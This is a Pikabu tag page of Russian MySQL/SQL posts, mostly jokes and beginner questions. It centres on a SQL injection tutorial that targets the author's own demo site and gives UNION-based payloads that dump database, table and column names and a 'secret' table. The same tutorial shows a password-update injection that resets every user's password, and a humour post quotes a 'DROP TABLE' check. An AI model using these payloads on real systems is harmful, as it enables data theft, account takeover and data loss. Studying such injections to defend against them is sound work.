Горячее
Лучшее
Свежее
Подписки
Сообщества
Блоги
Эксперты
Войти
Забыли пароль?
или продолжите с
Создать аккаунт
Я хочу получать рассылки с лучшими постами за неделю
или
Восстановление пароля
Восстановление пароля
Получить код в Telegram
Войти с Яндекс ID Войти через VK ID
Создавая аккаунт, я соглашаюсь с правилами Пикабу и даю согласие на обработку персональных данных.
ПромокодыРаботаКурсыРекламаИгрыПополнение Steam
Пикабу Игры +1000 бесплатных онлайн игр
Герои Войны - микс стратегии и РПГ. Собери лучшую армию и победи всех врагов. В игре 7 различных режимов - как для любителей PvE, так и PvP.

Герои Войны

Стратегии, Мидкорные, Экшены

Играть

Топ прошлой недели

  • AlexKud AlexKud 38 постов
  • SergeyKorsun SergeyKorsun 12 постов
  • SupportHuaport SupportHuaport 5 постов
Посмотреть весь топ

Лучшие посты недели

Рассылка Пикабу: отправляем самые рейтинговые материалы за 7 дней 🔥

Нажимая кнопку «Подписаться на рассылку», я соглашаюсь с Правилами Пикабу и даю согласие на обработку персональных данных.

Спасибо, что подписались!
Пожалуйста, проверьте почту 😊

Помощь Кодекс Пикабу Команда Пикабу Моб. приложение
Правила соцсети О рекомендациях О компании
Промокоды Биг Гик Промокоды Lamoda Промокоды МВидео Промокоды Яндекс Директ Промокоды Отелло Промокоды Aroma Butik Промокоды Яндекс Путешествия Постила Футбол сегодня

Mysql + SQL

С этим тегом используют

Программирование PHP IT База данных Postgresql Oracle Обучение Программист Python Все
38 постов сначала свежее
1507
awesa
5 лет назад
IT-юмор

Отношения, как есть⁠⁠

Отношения, как есть SQL, Программирование, Mysql, Скриншот, Отношения, Девушки
Показать полностью 1
SQL Программирование Mysql Скриншот Отношения Девушки
187
625
ser60v
ser60v
6 лет назад
Информационная безопасность IT

Как ломать сайты криворуких программистов.⁠⁠

Ломать сайты можно множеством способов, но один из самых простых и эффективных, если программист достаточно криворукий это SQL-инъекции

Давайте же немного обсудим данную тему.


Для того чтобы понять что тут происходит в принципе не нужно уметь программировать, знать SQL язык. Достаточно быть не сильно идиотом.


Что из себя представляют SQL инъекции? Это некие неправомерные действия, которые не предполагались выполняться данным скриптом.


Если привести пример из реальности, то это будет нечто такое:

Мать написала отцу записку:

Купи Васе конфет

А Вася взял и дописал: " и Пива"

В итоге отец видит записку:

Купи Васе конфет и Пива

Конечно когда прочитают логи и сверят данные Вася получит ремня, но временно он взломал систему. (поэтому правило первое, старайтесь действовать так чтоб вас не спалили)



Тут я подготовил простенький интерфейс на котором можно побаловаться:

https://test.ser60v.ru/injection/

По нормальному мы можем добавить строку, либо вытащить данные по поиску данной строки, дабы каждый ещё смог оставить немного своей дури:

Как ломать сайты криворуких программистов. Sql injection, SQL, Web-программирование, Взлом, Длиннопост, Mysql, Хакеры
Как ломать сайты криворуких программистов. Sql injection, SQL, Web-программирование, Взлом, Длиннопост, Mysql, Хакеры

Попробуем в поле поиска вбить не ololo

а

ololo' -- pikabu

Вывод выдаёт то же самое, итого мы можем применять инъекции.

В коде на сервере запрос выглядит так


SELECT * FROM `example` WHERE `text`='$find'

Мы же сами закрываем кавычки и комментируем всё последующее двумя дефисами.

Профит.


Что же мы можем сделать теперь?

Например добавить свой вывод:


' AND 0>1 UNION SELECT 1,2 -- pikabu

В этом случае мы выводим 1,2, но кому это интересно?

Если уж мы получили делать возможность инъекции необходимо узнать структуру базы, дабы получить возможность формировать желаемые запросы.


Получаем список баз

' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(table_schema)), 1 FROM information_schema.columns WHERE ''='
Как ломать сайты криворуких программистов. Sql injection, SQL, Web-программирование, Взлом, Длиннопост, Mysql, Хакеры

Таким запросом мы получим список баз к которым у данного пользователя есть доступ.


Тут в принципе не нужно ничего понимать, мы выводим столько же полей, потому как знаем что у нас их 2. Но в первое выводим через запятую все базы, к которым можем получить доступ.


Отлично, мы знаем что наша база называется injection


Теперь получим список таблиц нашей базы


' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(table_name)), 1 FROM information_schema.columns WHERE table_schema='injection' and ''='
Как ломать сайты криворуких программистов. Sql injection, SQL, Web-программирование, Взлом, Длиннопост, Mysql, Хакеры

Получаем список колонок из таблицы secret

' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(column_name)), 1 FROM information_schema.columns WHERE table_schema='injection' and table_name='secret' and ''='


Их внезапно тоже 2, так что не парясь можно получить всё содержимое.


' AND 0>1 UNION SELECT * FROM secret WHERE ''='

Много воли я решил не давать вам на сервере, например нет возможности редактировать структуру базы, создавать новые таблицы, удалять строки. Иначе начнётся тотальный треш.


В сущности, сейчас найти данную уязвимость практически невозможно. Но всякое в жизни бывает...


Так например было дело, на каком-то ресурсе удалось при редактировании своего пароля установить такой пароль всем, потому как было что-то типа:

UPDATE `users` SET `password`='$password' WHERE id=$id

Ну и если мы делаем переменную $password

newPass' -- ololo

То пароль newPass ставится для всех пользователей.



Защититься от инъекций куда проще, чем их использовать, но если доступ к оным получен - это дарует много возможностей.

Если кто-то сможет сделать insert/update в таблицу secret каким-то образом - с меня пиво первому сделавшему..)

Показать полностью 4
[моё] Sql injection SQL Web-программирование Взлом Длиннопост Mysql Хакеры
160
guronchel
8 лет назад

Вопрос к знатокам SQL⁠⁠

Привет всем пикабушникам!

Давно читаю, но впервые решил запилить постец.

Возник у меня вопрос по работе.

Работаю инженером в одной канторе, по работе приходится часто работать с большим объемом данных .

Рабочая программа у нас хранит базу в SQL. Но беда в том, что у каждого из инженеров на компе локально находится своя БД, которая передается "Из поколения в поколение".

Идея оптимизации и объединения давно витала в воздухе, но конкретнее взялись недавно.

Вопрос такого характера: Можно ли независимо от рабочей программы, объединить SQL базы всех юзеров, например репликациями.

В идеале это должно работать так: Есть одна центральная база, собранная из кусков локальных. У юзеров есть доступ к определенному куску это базы ( у каждого свой кусок пирога), который они периодически синхронизируют с базой общей.

Какие могут быть подводные камни и вообще, может ли быть это реализовано?

Не судите строго, первый пост.

[моё] SQL Mysql Текст Вопрос к пикабушникам Вопрос к знатокам Вопрос
18
Qixy
8 лет назад

Софт для mysql⁠⁠

Пикабушники, нужен ваш совет. Есть база mysql. Есть ли такая программка, которая получает данные из БД, формирует отчет по этим данным и передает их в виде php файла для дальнейшей загрузки в web-интерфейс? Гугл вроде не заблокирован, а что-то толкового ничего не могу найти.

[моё] Mysql SQL Софт PHP Программа Текст
17
95
DELETED
9 лет назад
IT-юмор

Шутники, блин⁠⁠

Пишу курсовой (всего-то уже на днях сдавать нужно). Решил найти, как проверить наличие таблицы в MySQL. Типичный форум с его ответами.

if (mysql_query('DROP TABLE таблица')) echo "таблица существовала";

P.S. Я все-таки нашел :)

Perl Mysql SQL Юмор Текст
17
DanielNovak
DanielNovak
11 лет назад

Помогите с SQL запросом поднимите в топ пожалуйста, коммент для лз внутри⁠⁠

Есть 2 таблицы

tab: users
----------------------------------------
id | name | last_visit
----------------------------------------
1 | sasha | 09.08.13 14:25
2 | masha | 09.08.13 14:25
3 | pasha | 09.08.13 14:25

tab: friends
---------------------------------------
id | user | friend
---------------------------------------
1 | 1 | 2
2 | 1 | 3

Нужно одним запросом получить друзей онлайн.

примерно так

"SELECT COUNT(*) FROM users JOIN friend_list ON users.id=friend_list.friend, friend_list.users=1, users.last_visit 300 < NOW()"

только правильно и должно работать

иными словами:

сначала ищем в friends все записи с user=1, потом все эти записи фильтруем через user.last_visit 300
[моё] SQL Mysql Программирование
12
Посты не найдены
О нас
О Пикабу Контакты Реклама Сообщить об ошибке Сообщить о нарушении законодательства Отзывы и предложения Новости Пикабу Мобильное приложение RSS
Информация
Помощь Кодекс Пикабу Команда Пикабу Конфиденциальность Правила соцсети О рекомендациях О компании
Наши проекты
Блоги Работа Промокоды Игры Курсы
Партнёры
Промокоды Биг Гик Промокоды Lamoda Промокоды Мвидео Промокоды Яндекс Директ Промокоды Отелло Промокоды Aroma Butik Промокоды Яндекс Путешествия Постила Футбол сегодня
На информационном ресурсе Pikabu.ru применяются рекомендательные технологии